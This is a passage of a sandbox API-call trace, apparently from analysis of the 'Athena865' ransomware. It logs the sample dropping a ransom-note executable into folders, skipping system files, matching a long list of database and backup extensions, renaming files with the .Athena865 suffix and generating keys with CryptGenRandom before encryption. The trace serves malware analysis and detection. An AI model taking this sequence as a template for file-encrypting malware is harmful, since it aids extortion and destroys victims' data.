(lpString1="lv-LV", lpString2="perflogs") returned -1 [0110.416] lstrcmpiW (lpString1="lv-LV", lpString2="MSBuild") returned -1 [0110.416] lstrlenW (lpString="lv-LV") returned 5 [0110.416] lstrcpyW (in: lpString1=0x241e8ae, lpString2="lv-LV" | out: lpString1="lv-LV") returned="lv-LV" [0110.416] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x547768 [0110.417] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53bca0 [0110.417] lstrcatW (in: lpString1="lv-LV", lpString2="\\" | out: lpString1="lv-LV\\") returned="lv-LV\\" [0110.417] lstrcatW (in: lpString1="lv-LV\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="lv-LV\\HOW TO BACK YOUR FILES.exe") returned="lv-LV\\HOW TO BACK YOUR FILES.exe" [0110.417] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\how to back your files.exe"), bFailIfExists=1) returned 1 [0110.419] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2=".") returned 1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="..") returned 1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="windows") returned -1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="bootmgr") returned 1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="temp") returned -1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="pagefile.sys") returned -1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="boot") returned 1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="ids.txt") returned 1 [0110.419] lstrcmpiW (lpString1="micaut.dll", lpString2="ntuser.dat") returned -1 [0110.420] lstrcmpiW (lpString1="micaut.dll", lpString2="perflogs") returned -1 [0110.420] lstrcmpiW (lpString1="micaut.dll", lpString2="MSBuild") returned -1 [0110.420] lstrlenW (lpString="micaut.dll") returned 10 [0110.420] lstrcpyW (in: lpString1=0x241e8ae, lpString2="micaut.dll" | out: lpString1="micaut.dll") returned="micaut.dll" [0110.420] lstrlenW (lpString="micaut.dll") returned 10 [0110.420] lstrlenW (lpString="Athena865") returned 9 [0110.420] lstrcmpiW (lpString1="icaut.dll", lpString2="Athena865") returned 1 [0110.420] lstrlenW (lpString=".dll") returned 4 [0110.420] lstrcmpiW (lpString1="micaut.dll", lpString2=".dll") returned 1 [0110.420] lstrlenW (lpString=".lnk") returned 4 [0110.420] lstrcmpiW (lpString1="micaut.dll", lpString2=".lnk") returned 1 [0110.420] lstrlenW (lpString=".ini") returned 4 [0110.420] lstrcmpiW (lpString1="micaut.dll", lpString2=".ini") returned 1 [0110.420] lstrlenW (lpString=".sys") returned 4 [0110.420] lstrcmpiW (lpString1="micaut.dll", lpString2=".sys") returned 1 [0110.420] lstrlenW (lpString="micaut.dll") returned 10 [0110.420] lstrlenW (lpString="bak") returned 3 [0110.420] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0110.420] lstrlenW (lpString="ba_") returned 3 [0110.420] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0110.420] lstrlenW (lpString="dbb") returned 3 [0110.420] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0110.420] lstrlenW (lpString="vmdk") returned 4 [0110.420] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0110.420] lstrlenW (lpString="rar") returned 3 [0110.420] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0110.420] lstrlenW (lpString="zip") returned 3 [0110.420] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0110.421] lstrlenW (lpString="tgz") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0110.421] lstrlenW (lpString="vbox") returned 4 [0110.421] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0110.421] lstrlenW (lpString="vdi") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0110.421] lstrlenW (lpString="vhd") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0110.421] lstrlenW (lpString="vhdx") returned 4 [0110.421] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0110.421] lstrlenW (lpString="avhd") returned 4 [0110.421] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0110.421] lstrlenW (lpString="db") returned 2 [0110.421] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0110.421] lstrlenW (lpString="db2") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0110.421] lstrlenW (lpString="db3") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0110.421] lstrlenW (lpString="dbf") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0110.421] lstrlenW (lpString="mdf") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0110.421] lstrlenW (lpString="mdb") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0110.421] lstrlenW (lpString="sql") returned 3 [0110.421] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0110.421] lstrlenW (lpString="sqlite") returned 6 [0110.421] lstrcmpiW (lpString1="ut.dll", lpString2="sqlite") returned 1 [0110.421] lstrlenW (lpString="sqlite3") returned 7 [0110.422] lstrcmpiW (lpString1="aut.dll", lpString2="sqlite3") returned -1 [0110.422] lstrlenW (lpString="sqlitedb") returned 8 [0110.422] lstrcmpiW (lpString1="caut.dll", lpString2="sqlitedb") returned -1 [0110.422] lstrlenW (lpString="xml") returned 3 [0110.422] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0110.422] lstrlenW (lpString="$er") returned 3 [0110.422] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0110.422] lstrlenW (lpString="4dd") returned 3 [0110.422] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0110.422] lstrlenW (lpString="4dl") returned 3 [0110.422] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0110.422] lstrlenW (lpString="^^^") returned 3 [0110.422] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0110.422] lstrlenW (lpString="abs") returned 3 [0110.422] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0110.422] lstrlenW (lpString="abx") returned 3 [0110.422] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0110.422] lstrlenW (lpString="accdb") returned 5 [0110.422] lstrcmpiW (lpString1="t.dll", lpString2="accdb") returned 1 [0110.422] lstrlenW (lpString="accdc") returned 5 [0110.422] lstrcmpiW (lpString1="t.dll", lpString2="accdc") returned 1 [0110.422] lstrlenW (lpString="accde") returned 5 [0110.422] lstrcmpiW (lpString1="t.dll", lpString2="accde") returned 1 [0110.422] lstrlenW (lpString="accdr") returned 5 [0110.422] lstrcmpiW (lpString1="t.dll", lpString2="accdr") returned 1 [0110.422] lstrlenW (lpString="accdt") returned 5 [0110.422] lstrcmpiW (lpString1="t.dll", lpString2="accdt") returned 1 [0110.422] lstrlenW (lpString="accdw") returned 5 [0110.422] lstrcmpiW (lpString1="t.dll", lpString2="accdw") returned 1 [0110.422] lstrlenW (lpString="accft") returned 5 [0110.423] lstrcmpiW (lpString1="t.dll", lpString2="accft") returned 1 [0110.423] lstrlenW (lpString="adb") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.423] lstrlenW (lpString="adb") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0110.423] lstrlenW (lpString="ade") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0110.423] lstrlenW (lpString="adf") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0110.423] lstrlenW (lpString="adn") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0110.423] lstrlenW (lpString="adp") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0110.423] lstrlenW (lpString="alf") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0110.423] lstrlenW (lpString="ask") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0110.423] lstrlenW (lpString="btr") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0110.423] lstrlenW (lpString="cat") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0110.423] lstrlenW (lpString="cdb") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0110.423] lstrlenW (lpString="ckp") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0110.423] lstrlenW (lpString="cma") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0110.423] lstrlenW (lpString="cpd") returned 3 [0110.423] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0110.424] lstrlenW (lpString="dacpac") returned 6 [0110.424] lstrcmpiW (lpString1="ut.dll", lpString2="dacpac") returned 1 [0110.424] lstrlenW (lpString="dad") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0110.424] lstrlenW (lpString="dadiagrams") returned 10 [0110.424] lstrlenW (lpString="daschema") returned 8 [0110.424] lstrcmpiW (lpString1="caut.dll", lpString2="daschema") returned -1 [0110.424] lstrlenW (lpString="db-journal") returned 10 [0110.424] lstrlenW (lpString="db-shm") returned 6 [0110.424] lstrcmpiW (lpString1="ut.dll", lpString2="db-shm") returned 1 [0110.424] lstrlenW (lpString="db-wal") returned 6 [0110.424] lstrcmpiW (lpString1="ut.dll", lpString2="db-wal") returned 1 [0110.424] lstrlenW (lpString="dbc") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0110.424] lstrlenW (lpString="dbs") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0110.424] lstrlenW (lpString="dbt") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0110.424] lstrlenW (lpString="dbv") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0110.424] lstrlenW (lpString="dbx") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0110.424] lstrlenW (lpString="dcb") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0110.424] lstrlenW (lpString="dct") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0110.424] lstrlenW (lpString="dcx") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0110.424] lstrlenW (lpString="ddl") returned 3 [0110.424] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0110.425] lstrlenW (lpString="dlis") returned 4 [0110.425] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0110.425] lstrlenW (lpString="dp1") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0110.425] lstrlenW (lpString="dqy") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0110.425] lstrlenW (lpString="dsk") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0110.425] lstrlenW (lpString="dsn") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0110.425] lstrlenW (lpString="dtsx") returned 4 [0110.425] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0110.425] lstrlenW (lpString="dxl") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0110.425] lstrlenW (lpString="eco") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0110.425] lstrlenW (lpString="ecx") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0110.425] lstrlenW (lpString="edb") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0110.425] lstrlenW (lpString="epim") returned 4 [0110.425] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0110.425] lstrlenW (lpString="fcd") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0110.425] lstrlenW (lpString="fdb") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0110.425] lstrlenW (lpString="fic") returned 3 [0110.425] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0110.425] lstrlenW (lpString="flexolibrary") returned 12 [0110.426] lstrlenW (lpString="fm5") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0110.426] lstrlenW (lpString="fmp") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0110.426] lstrlenW (lpString="fmp12") returned 5 [0110.426] lstrcmpiW (lpString1="t.dll", lpString2="fmp12") returned 1 [0110.426] lstrlenW (lpString="fmpsl") returned 5 [0110.426] lstrcmpiW (lpString1="t.dll", lpString2="fmpsl") returned 1 [0110.426] lstrlenW (lpString="fol") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0110.426] lstrlenW (lpString="fp3") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0110.426] lstrlenW (lpString="fp4") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0110.426] lstrlenW (lpString="fp5") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0110.426] lstrlenW (lpString="fp7") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0110.426] lstrlenW (lpString="fpt") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0110.426] lstrlenW (lpString="frm") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0110.426] lstrlenW (lpString="gdb") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.426] lstrlenW (lpString="gdb") returned 3 [0110.426] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0110.426] lstrlenW (lpString="grdb") returned 4 [0110.426] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0110.427] lstrlenW (lpString="gwi") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0110.427] lstrlenW (lpString="hdb") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0110.427] lstrlenW (lpString="his") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0110.427] lstrlenW (lpString="ib") returned 2 [0110.427] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0110.427] lstrlenW (lpString="idb") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0110.427] lstrlenW (lpString="ihx") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0110.427] lstrlenW (lpString="itdb") returned 4 [0110.427] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0110.427] lstrlenW (lpString="itw") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0110.427] lstrlenW (lpString="jet") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0110.427] lstrlenW (lpString="jtx") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0110.427] lstrlenW (lpString="kdb") returned 3 [0110.427] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0110.427] lstrlenW (lpString="kexi") returned 4 [0110.427] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0110.427] lstrlenW (lpString="kexic") returned 5 [0110.427] lstrcmpiW (lpString1="t.dll", lpString2="kexic") returned 1 [0110.427] lstrlenW (lpString="kexis") returned 5 [0110.427] lstrcmpiW (lpString1="t.dll", lpString2="kexis") returned 1 [0110.428] lstrlenW (lpString="lgc") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0110.428] lstrlenW (lpString="lwx") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0110.428] lstrlenW (lpString="maf") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0110.428] lstrlenW (lpString="maq") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0110.428] lstrlenW (lpString="mar") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0110.428] lstrlenW (lpString="marshal") returned 7 [0110.428] lstrcmpiW (lpString1="aut.dll", lpString2="marshal") returned -1 [0110.428] lstrlenW (lpString="mas") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0110.428] lstrlenW (lpString="mav") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0110.428] lstrlenW (lpString="maw") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0110.428] lstrlenW (lpString="mdbhtml") returned 7 [0110.428] lstrcmpiW (lpString1="aut.dll", lpString2="mdbhtml") returned -1 [0110.428] lstrlenW (lpString="mdn") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0110.428] lstrlenW (lpString="mdt") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0110.428] lstrlenW (lpString="mfd") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0110.428] lstrlenW (lpString="mpd") returned 3 [0110.428] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0110.429] lstrlenW (lpString="mrg") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0110.429] lstrlenW (lpString="mud") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0110.429] lstrlenW (lpString="mwb") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0110.429] lstrlenW (lpString="myd") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0110.429] lstrlenW (lpString="ndf") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0110.429] lstrlenW (lpString="nnt") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0110.429] lstrlenW (lpString="nrmlib") returned 6 [0110.429] lstrcmpiW (lpString1="ut.dll", lpString2="nrmlib") returned 1 [0110.429] lstrlenW (lpString="ns2") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0110.429] lstrlenW (lpString="ns3") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0110.429] lstrlenW (lpString="ns4") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0110.429] lstrlenW (lpString="nsf") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0110.429] lstrlenW (lpString="nv") returned 2 [0110.429] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0110.429] lstrlenW (lpString="nv2") returned 3 [0110.429] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0110.429] lstrlenW (lpString="nwdb") returned 4 [0110.430] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0110.430] lstrlenW (lpString="nyf") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0110.430] lstrlenW (lpString="odb") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.430] lstrlenW (lpString="odb") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0110.430] lstrlenW (lpString="oqy") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0110.430] lstrlenW (lpString="ora") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0110.430] lstrlenW (lpString="orx") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0110.430] lstrlenW (lpString="owc") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0110.430] lstrlenW (lpString="p96") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0110.430] lstrlenW (lpString="p97") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0110.430] lstrlenW (lpString="pan") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0110.430] lstrlenW (lpString="pdb") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0110.430] lstrlenW (lpString="pdm") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0110.430] lstrlenW (lpString="pnz") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0110.430] lstrlenW (lpString="qry") returned 3 [0110.430] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0110.431] lstrlenW (lpString="qvd") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0110.431] lstrlenW (lpString="rbf") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0110.431] lstrlenW (lpString="rctd") returned 4 [0110.431] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0110.431] lstrlenW (lpString="rod") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0110.431] lstrlenW (lpString="rodx") returned 4 [0110.431] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0110.431] lstrlenW (lpString="rpd") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0110.431] lstrlenW (lpString="rsd") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0110.431] lstrlenW (lpString="sas7bdat") returned 8 [0110.431] lstrcmpiW (lpString1="caut.dll", lpString2="sas7bdat") returned -1 [0110.431] lstrlenW (lpString="sbf") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0110.431] lstrlenW (lpString="scx") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0110.431] lstrlenW (lpString="sdb") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0110.431] lstrlenW (lpString="sdc") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0110.431] lstrlenW (lpString="sdf") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0110.431] lstrlenW (lpString="sis") returned 3 [0110.431] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0110.432] lstrlenW (lpString="spq") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0110.432] lstrlenW (lpString="te") returned 2 [0110.432] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0110.432] lstrlenW (lpString="teacher") returned 7 [0110.432] lstrcmpiW (lpString1="aut.dll", lpString2="teacher") returned -1 [0110.432] lstrlenW (lpString="tmd") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0110.432] lstrlenW (lpString="tps") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0110.432] lstrlenW (lpString="trc") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.432] lstrlenW (lpString="trc") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0110.432] lstrlenW (lpString="trm") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0110.432] lstrlenW (lpString="udb") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0110.432] lstrlenW (lpString="udl") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0110.432] lstrlenW (lpString="usr") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0110.432] lstrlenW (lpString="v12") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0110.432] lstrlenW (lpString="vis") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0110.432] lstrlenW (lpString="vpd") returned 3 [0110.432] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0110.432] lstrlenW (lpString="vvv") returned 3 [0110.433] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0110.433] lstrlenW (lpString="wdb") returned 3 [0110.433] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0110.433] lstrlenW (lpString="wmdb") returned 4 [0110.433] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0110.433] lstrlenW (lpString="wrk") returned 3 [0110.433] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0110.433] lstrlenW (lpString="xdb") returned 3 [0110.433] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0110.433] lstrlenW (lpString="xld") returned 3 [0110.433] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0110.433] lstrlenW (lpString="xmlff") returned 5 [0110.433] lstrcmpiW (lpString1="t.dll", lpString2="xmlff") returned -1 [0110.433] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.Athena865") returned 71 [0110.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.athena865"), dwFlags=0x1) returned 1 [0110.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0110.435] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1704448) returned 1 [0110.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0110.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0110.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0110.435] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0110.436] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0110.436] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.436] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a0500, lpName=0x0) returned 0x154 [0110.438] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a0500) returned 0x2d50000 [0110.502] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0110.502] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0110.502] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0110.503] 